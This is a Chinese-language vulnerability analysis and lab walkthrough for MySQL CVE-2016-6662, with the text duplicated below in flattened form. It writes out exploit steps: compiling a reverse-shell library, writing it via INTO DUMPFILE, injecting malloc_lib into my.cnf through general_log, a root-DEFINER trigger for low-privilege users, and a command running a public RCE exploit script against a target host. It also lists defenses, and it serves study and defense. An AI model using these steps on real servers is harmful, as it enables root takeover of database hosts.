CVE-2016-6662分析及Mysql相关技术探究
字数 1794 2025-08-15 21:31:27

MySQL漏洞CVE-2016-6662分析与利用技术详解

漏洞概述

CVE-2016-6662是一个影响MySQL数据库的严重安全漏洞,允许攻击者通过注入恶意配置到MySQL配置文件(my.cnf)中,进而加载任意扩展库并获取系统权限。该漏洞在SELinux开启状态下仍然可利用。

受影响版本

  • MySQL <= 5.7.15
  • MySQL <= 5.6.33
  • MySQL <= 5.5.52

漏洞原理

MySQL配置中[mysqld]下的malloc_lib配置项可以加载任意位置的.so文件并执行。关键点在于:

  1. 执行malloc_lib指定.so文件的进程是mysql_safe,该进程以root用户运行
  2. 修改配置后需要重启MySQL服务才能生效
  3. 攻击者需要能够修改MySQL配置文件并写入恶意.so文件

环境搭建

准备工作

  1. 下载MySQL源码

    • 从MySQL官网下载指定版本(如5.7.10)源码包
    • 选择"常规Linux"版本并包含Boost Headers的源码包
  2. 创建专用用户

    useradd -s /sbin/nologin mysql
    
  3. 安装依赖

    yum install -y gcc gcc-c++ cmake ncurses ncurses-devel bison
    

编译安装

  1. 解压源码包到/usr/local目录

  2. 进入解压目录执行编译:

    cmake -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_BOOST=boost
    make && make install
    
  3. 配置MySQL:

    • 创建数据目录:mkdir /usr/local/mysql/data/
    • 设置权限:chmod 777 /usr/local/mysql/data/
    • 修改所有者:chown mysql:mysql /usr/local/mysql
  4. 配置文件设置:

    • 从模板复制:cp support-files/my-default.cnf /etc/my.cnf
    • 修改关键配置:
      basedir = /usr/local/mysql
      datadir = /usr/local/mysql/data
      port = 3306
      
  5. 初始化MySQL服务:

    ./mysqld --initialize-insecure --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
    cp support-files/mysql.server /etc/init.d/mysqld
    

漏洞利用演示

基本利用流程

  1. 准备恶意.so文件

    • 下载攻击代码:http://legalhackers.com/exploits/mysql_hookandroot_lib.c
    • 修改反弹shell配置并编译:
      gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
      
  2. 修改MySQL配置
    /etc/my.cnf[mysqld]部分添加:

    malloc_lib=/tmp/mysql_hookandroot_lib.so
    
  3. 重启MySQL服务

    /etc/init.d/mysqld restart
    

关键利用技术

1. 写入恶意.so文件

使用MySQL的dumpfile语句写入十六进制格式的.so文件:

import binascii
f = open("mysql_hookandroot_lib.so", "rb")
a = f.read()
hexstr = binascii.b2a_hex(a)
f.close()
f = open("res.txt","w")
f.write(hexstr)
f.close()

MySQL语句:

select 0x[十六进制字符串] into dumpfile "/tmp/mysql_hookandroot_lib.so"

2. 修改配置文件

关键问题

  • MySQL会按顺序读取多个位置的配置文件
  • 通过outfile/dumpfile写入的文件权限为rw-rw-rw,MySQL会忽略这种权限的配置文件
  • 使用general_log写入的文件权限正确

利用步骤

  1. 设置general_log文件路径:

    set global general_log_file = "/usr/local/mysql/my.cnf";
    
  2. 开启general_log:

    set global general_log=on;
    
  3. 写入恶意配置:

    select "
    [mysqld]
    malloc_lib=/tmp/mysql_hookandroot_lib.so
    #";
    

前提条件

  • 目标位置已存在合法的my.cnf文件
  • 文件权限正确(其他用户不可写)

3. 非root权限利用

使用触发器技术绕过权限限制:

  1. 创建低权限用户

    create database cvetest;
    grant file on *.* to 'cveuser'@'%' identified by '123456';
    grant select,insert,create on cvetest.* to 'cveuser'@'%';
    flush privileges;
    
  2. 使用EXP攻击

    • 下载攻击脚本:
      • http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
      • http://legalhackers.com/exploits/mysql_hookandroot_lib.c
    • 安装依赖:python -m pip install mysql-connector
    • 修改脚本配置(路径、IP、端口等)
    • 执行攻击:
      python 0ldSQL_MySQL_RCE_exploit.py -dbuser cveuser -dbpass 123456 -dbhost [目标IP] -dbname cvetest -mycnf /etc/my.cnf
      

触发器技术原理

EXP使用触发器绕过权限限制的关键技术:

  1. 触发器定义

    delimiter |
    CREATE DEFINER='root'@'localhost' TRIGGER append_to_conf
    AFTER INSERT ON `poctable` FOR EACH ROW
    BEGIN
      DECLARE void varchar(550);
      SET global general_log_file='/etc/my.cnf';
      SET global general_log = on;
      SELECT "
      [mysqld]
      malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
      " INTO void;
      SET global general_log = off;
    END |
    delimiter ;
    
  2. 技术要点

    • 使用DEFINER='root'@'localhost'以root权限执行触发器
    • 触发器文件存储在数据库目录下,与表名对应的.TRN文件中
    • 通过操作表(INSERT)触发恶意SQL执行

防御措施

  1. 升级MySQL到安全版本
  2. 严格控制MySQL配置文件的权限(其他用户不可写)
  3. 限制MySQL用户的权限,避免授予FILE权限
  4. 监控MySQL配置文件的异常修改
  5. 使用AppArmor或SELinux限制MySQL的权限

总结

CVE-2016-6662漏洞利用涉及多个关键技术点:

  1. MySQL配置中malloc_lib的恶意利用
  2. 通过general_log正确写入配置文件
  3. 使用触发器技术绕过权限限制
  4. 恶意.so文件的写入与执行

该漏洞展示了数据库安全配置的重要性,以及权限最小化原则的关键作用。

MySQL漏洞CVE-2016-6662分析与利用技术详解 漏洞概述 CVE-2016-6662是一个影响MySQL数据库的严重安全漏洞,允许攻击者通过注入恶意配置到MySQL配置文件(my.cnf)中,进而加载任意扩展库并获取系统权限。该漏洞在SELinux开启状态下仍然可利用。 受影响版本 : MySQL <= 5.7.15 MySQL <= 5.6.33 MySQL <= 5.5.52 漏洞原理 MySQL配置中 [mysqld] 下的 malloc_lib 配置项可以加载任意位置的.so文件并执行。关键点在于: 执行 malloc_lib 指定.so文件的进程是 mysql_safe ,该进程以root用户运行 修改配置后需要重启MySQL服务才能生效 攻击者需要能够修改MySQL配置文件并写入恶意.so文件 环境搭建 准备工作 下载MySQL源码 : 从MySQL官网下载指定版本(如5.7.10)源码包 选择"常规Linux"版本并包含Boost Headers的源码包 创建专用用户 : 安装依赖 : 编译安装 解压源码包到/usr/local目录 进入解压目录执行编译: 配置MySQL: 创建数据目录: mkdir /usr/local/mysql/data/ 设置权限: chmod 777 /usr/local/mysql/data/ 修改所有者: chown mysql:mysql /usr/local/mysql 配置文件设置: 从模板复制: cp support-files/my-default.cnf /etc/my.cnf 修改关键配置: 初始化MySQL服务: 漏洞利用演示 基本利用流程 准备恶意.so文件 : 下载攻击代码:http://legalhackers.com/exploits/mysql_ hookandroot_ lib.c 修改反弹shell配置并编译: 修改MySQL配置 : 在 /etc/my.cnf 的 [mysqld] 部分添加: 重启MySQL服务 : 关键利用技术 1. 写入恶意.so文件 使用MySQL的 dumpfile 语句写入十六进制格式的.so文件: MySQL语句: 2. 修改配置文件 关键问题 : MySQL会按顺序读取多个位置的配置文件 通过 outfile/dumpfile 写入的文件权限为 rw-rw-rw ,MySQL会忽略这种权限的配置文件 使用 general_log 写入的文件权限正确 利用步骤 : 设置general_ log文件路径: 开启general_ log: 写入恶意配置: 前提条件 : 目标位置已存在合法的my.cnf文件 文件权限正确(其他用户不可写) 3. 非root权限利用 使用触发器技术绕过权限限制: 创建低权限用户 : 使用EXP攻击 : 下载攻击脚本: http://legalhackers.com/exploits/0ldSQL_ MySQL_ RCE_ exploit.py http://legalhackers.com/exploits/mysql_ hookandroot_ lib.c 安装依赖: python -m pip install mysql-connector 修改脚本配置(路径、IP、端口等) 执行攻击: 触发器技术原理 EXP使用触发器绕过权限限制的关键技术: 触发器定义 : 技术要点 : 使用 DEFINER='root'@'localhost' 以root权限执行触发器 触发器文件存储在数据库目录下,与表名对应的 .TRN 文件中 通过操作表(INSERT)触发恶意SQL执行 防御措施 升级MySQL到安全版本 严格控制MySQL配置文件的权限(其他用户不可写) 限制MySQL用户的权限,避免授予FILE权限 监控MySQL配置文件的异常修改 使用AppArmor或SELinux限制MySQL的权限 总结 CVE-2016-6662漏洞利用涉及多个关键技术点: MySQL配置中 malloc_lib 的恶意利用 通过 general_log 正确写入配置文件 使用触发器技术绕过权限限制 恶意.so文件的写入与执行 该漏洞展示了数据库安全配置的重要性,以及权限最小化原则的关键作用。